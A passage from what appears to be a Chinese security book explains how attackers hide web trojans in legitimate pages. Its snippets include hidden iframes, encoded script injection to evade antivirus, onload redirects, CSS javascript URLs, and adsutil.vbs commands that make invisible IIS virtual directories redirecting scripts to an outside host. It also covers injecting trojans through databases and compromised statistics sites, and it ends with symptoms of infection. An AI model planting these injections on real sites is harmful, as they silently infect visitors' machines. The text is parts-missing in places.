|
網頁木馬在本質上是一個Web頁,但是又和普通的Web頁面有很大的區別,首先就是由于其特殊性,網頁木馬
無法光明正大地存在,只能隱藏在正常的Web頁面中。把網頁木馬嵌入到正常的網頁中的行為,就是俗稱的“掛馬”。掛馬并不是僅僅將惡意代碼寫入正常網頁這么簡單,因為對于掛馬者來說,希望網頁木馬的生存時間能盡可能地長,按照現在的黑客產業鏈的黑市價格,在一個大型社區網站掛一個小時的網頁木馬就需要幾千元人民幣,所以為了躲避管理員的檢查,掛馬的黑客們絞盡腦汁,網頁木馬的隱藏技術也因此得到了極大的發展,大致有以下幾種。
(1)在頁面插入一個隱藏的框架:在網頁中插入一段如下的HTML代碼:<iframe src=http://網頁木馬地址width=0 height=0></iframe>,其中width和height屬性為0意味著該框架是不可見的,受害者若不查看源代碼很難發現網頁木馬。這個方法也是掛馬最常用的一段代碼,但是隨著網站管理員和廣大網民安全意識的提高,只要在源代碼中搜索iframe這個關鍵字,就很容易找到網頁木馬的源頭。
(2)利用JavaScript引入網頁木馬:相比iframe這個標簽,<SCRIPT src="http://xx.js" type=text/javascript>
這段代碼就顯得更加隱蔽,因為幾乎95%的網頁中都會出現類似的script 標簽,利用js引入網頁木馬也有多種方法:
*在js中直接寫出框架網頁木馬,示例代碼如下:
document.write("<iframe width='0' height='0' src='網頁木馬地址'></iframe>");
*指定language的屬性為"JScript.Encode",還可以引入其他擴展名的js代碼,這樣就更加具有迷惑性,示例代碼如下:
<SCRIPT language="JScript.Encode" src=http://www. xxx.com/mm.jpg></script>;
*利用js更改body的innerHTML屬性,引入網頁木馬,如果對內容進行編碼的話,不但能繞過殺毒軟件的檢測,而且增加了解密的難度,示例代碼如下:
op.document.body.innerHTML=top.document.body.innerHTML+'\r\n
<iframe src="http://網頁木馬地址/%22%3E%3C/iframe%3E';
*利用JavaScript的window.open方法打開一個不可見的新窗口,示例代碼如下:
<SCRIPT language=javascript>window.open("網頁木馬地址","","toolbar=no, location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1"); </script>;
*利用URL欺騙,示例代碼如下:
a href=http://www.163.com(/迷惑用戶的鏈接地址,顯示這個地址指向木馬地址)
onMouseOver="www_163_com(); return true;"> 頁面要顯示的正常內容</a>:
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="網頁木馬地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no, scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
(3)利用body的onload屬性引入網頁木馬:使用如下代碼就可以使網頁在加載完成的時候跳轉到網頁木馬
的網址<body onload="window.location='網頁木馬地址';"></body>。
(4)利用層疊樣式表CSS引入js,從而引入網頁木馬,示例代碼如下:body{background- image:url('javascript:document.write("<script src=http://www.XXX.com/xx.js></script>")')}。
(5)利用隱藏的分割框架引入網頁木馬,示例代碼如下:
<frameset rows="444,0" cols="*"><frame src="正常網頁" framborder="no" scrolling="auto" noresize marginwidth=
"0" margingheight="0"><frame src="網頁木馬" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight= "0">
</frameset>
(6)利用ISAPI引入網頁木馬:ISAPI(Internet服務應用程序編程接口)技術使開發人員可以擴展IIS服務器提供的功能。ISAPI擴展是一個動態鏈接庫(.dll),它使用ISAPI提供一套Web功能,這些功能超過IIS以本機方式提供的功能。當用戶需要使用ISAPI擴展提供的一種功能時,他們可以向服務器發送一個請求。某些情況下可以直接調用ISAPI擴展,但更常見的情況是用戶在服務器上請求包含要處理的命令的文件。遇有用戶請求此類文件時,IIS會確定應該用哪個ISAPI擴展分析該文件,方法是查看一個腳本映射表,該表列出了與服務器上的各個ISAPI擴展相關的文件擴展名。
ISAPI本意是擴展IIS的功能,可以做成IIS防火墻,過濾一些非法內容,也可以防盜鏈的防火墻,但在黑客的手里卻成了攻擊的利器,ISAPI可以做成服務器上的后門,在掛馬中可以對HTTP請求進行過濾,然后在里面插入iframe等的標簽插入網頁木馬,這種插入網頁木馬的方式十分隱蔽,管理員從Web目錄文件的檢查中看不出什么異常,但是用戶所得到的網頁中還是被插入了網頁木馬,有點安全意識的管理員可能會想到是ISAPI的問題,假如發現有新增加的ISAPI映射,那就可能有問題了,但假如是現有的ISAPI DLL被替換,那就更難被發現了,還得一個個對比正常的IIS中的文件,大大增加了發現的難度,但是編寫ISAPI擴展的難度也比較大,網上也從未公布過這樣的代碼,本書在這里也不打算具體介紹這方面的技術,以免被用于歧途,而介紹的目的是希望能引起管理員對這種新型掛馬方式的注意,盡管編寫這樣的DLL插件有一定的技術門檻,但是有網絡上還是有網友發現出現過這樣攻擊的,如圖2.1所示(解析asp腳本的DLL被黑客替換了)。
這是一種很簡單的方法,只要任何能接觸到IIS管理器的人都能輕易地做到,但是如果頁面跳轉得比較明顯,或者影響范圍比較廣,那么管理員肯定會首先檢查Web目錄下的文件,假如還是沒有找到問題,可能就會檢查IIS中出的問題頁面文件的屬性,就會發現其中的問題。幾乎每個頁面都會引用到很多js腳本,類似這樣的HTML語句:<script src=include/xx.js></script>,假如我們替換的是其中的一個腳本的話,使用document.Write方法寫出網頁木馬的iframe框架并且保留原js腳本的功能,那么隱藏性就大大提高了,因為沒有改動任何文件,除非管理員一個一個地檢查文件的屬性,否則很難發現問題,但那樣的話代價將會很大。如圖2.2、圖2.3所示。
的手段呢,答案是肯定的。IIS中可以建立一個沒有物理目錄的虛擬目錄,這樣一來這個目錄就會在IIS里不可見,黑客們就會利用虛擬目錄做文章:黑客會首先建立一個不可見的虛擬目錄,如果主頁里調用了include文件夾下的js文件,那么就建立include目錄,這項操作可以借助IIS的腳本實現,其中adsutil.vbs腳本是在IIS的安裝目錄如C:\Inetpub\AdminScripts下的,是控制IIS行為的一個腳本,我們可以用如下命令建立虛擬目錄:
script adsutil.vbs Create W3SVC/1/Root/www/include "IIsWebVirtualDir"
于是就建立了一個IIS里不可見的虛擬目錄,因為沒有設置路徑,所以不會在IIS管理器中顯示。然后再在這個目錄下建立一個名字叫做xx.js的虛擬目錄:
script adsutil.vbs Create W3SVC/1/Root/www/include/xx.js "IIsWebVirtualDir"
這樣,就存在一個include/xx.js的虛擬目錄了。然后再利用腳本對這個目錄進行資源重定向,cscript adsutil.vbs set W3SVC/1/Root/www/include/mm2.js/ httpredirect "http://xx.com/yy.js"。這樣就更改了xx.js虛擬目錄的重定向特性。注意:其中W3SVC/1/Root/www/代表IIs下的第一個Web服務器的www虛擬目錄,其他的操作可以打開adsutil.vbs腳本的幫助看看!這樣操作之后就設置了虛擬目錄的重定向特性,現在試著在主頁里調用include/xx.js,所有調用xx.js的頁面都會被重定向到yy.js,并且xx.js沒有任何的改動和影響!這是IIS的一種特性,從某種意義上說是一個Bug,它處理用戶的請求是虛擬目錄優先于物理目錄,而且IIS管理器中也沒有留下任何的蛛絲馬跡。這樣,網頁木馬在這個服務器上就更難被清除了。這可以說是管理員的噩夢,除了重新安裝IIS或者恢復IIS的設置,似乎沒有更好的辦法去對付這種方法。
(8)利用數據庫引入網頁木馬:現在網絡上幾乎50%的網站都是基于數據庫建立的動態網站,這里說的動態網頁,與網頁上的各種動畫、滾動字幕等視覺上的“動態效果”沒有直接關系,動態網頁可以是純文字內容的,也可以是包含各種動畫的內容,這些只是網頁具體內容的表現形式,無論網頁是否具有動態效果,采用動態網站技術生成的網頁都稱為動態網頁。從網站瀏覽者的角度來看,無論是動態網頁還是靜態網頁,都可以展示基本的文字和圖片信息,但從網站開發、管理、維護的角度來看就有很大的差別。
動態網頁一般有如下四個特點:第一,動態網頁以數據庫技術為基礎,可以大大降低網站維護的工作量;第二,采用動態網頁技術的網站可以實現更多的功能,如用戶注冊、用戶登錄、在線調查、用戶管理、訂單管理等;第三,動態網頁實際上并不是獨立存在于服務器上的網頁文件,只有當用戶請求時服務器才返回一個完整的網頁;第四,動態網頁中的“?”對搜索引擎檢索存在一定的問題,搜索引擎一般不可能從一個網站的數據庫中訪問全部網頁,或者出于技術方面的考慮,搜索蜘蛛不去抓取網址中“?”后面的內容,因此采用動態網頁的網站在進行搜索引擎推廣時需要做一定的技術處理才能適應搜索引擎的要求。黑客們在取得網站的權限之后,可以通過后臺系統或者webshell將iframe等網頁木馬更新到數據庫中,又或者通過SQL注入點利用update語句將網頁木馬注射進數據庫。不過,由于一般注入點的權限都是比較低的,可能這個方法不容易實現。但不可否認,數據庫也是網頁木馬一個非常好的隱蔽角落。
(9)利用統計網站大規模掛馬:現在很多網站為了統計網站的流量,都使用流量統計系統,只要統計網站被攻陷,無數使用該統計系統的網站都會成為受害者。統計網站間接掛馬的方式將有可能取代傳統的單一網頁掛馬而成為未來網頁掛馬的主流途徑。因此,黑客肆意尋找知名的第三方網站“下手”,成功入侵后對該網站進行掛馬,從而使得其他依賴該第三方網站功能的網站自動被中上了木馬頁面,這樣顯然極大地增強了木馬的傳播能力。由于使用知名第三方網站功能的網站很多,使得網頁木馬能夠短時間內迅速膨脹傳播,對社會的危害極大。所以,使用這種間接掛馬的方法,使得單純分析網頁本身代碼的方法已經無法發現網站是否被掛馬。微點反病毒專家在用戶的反饋中發現,由于間接掛馬手段的隱蔽性較強,很多網站的管理員甚至連自己都不知道網站已經被掛馬,如圖2.4和圖2.5所示。
*有殺毒軟件報警;
*IE瀏覽器無故崩潰;
*硬盤燈一直閃爍,系統運行緩慢;
*IE瀏覽器假死。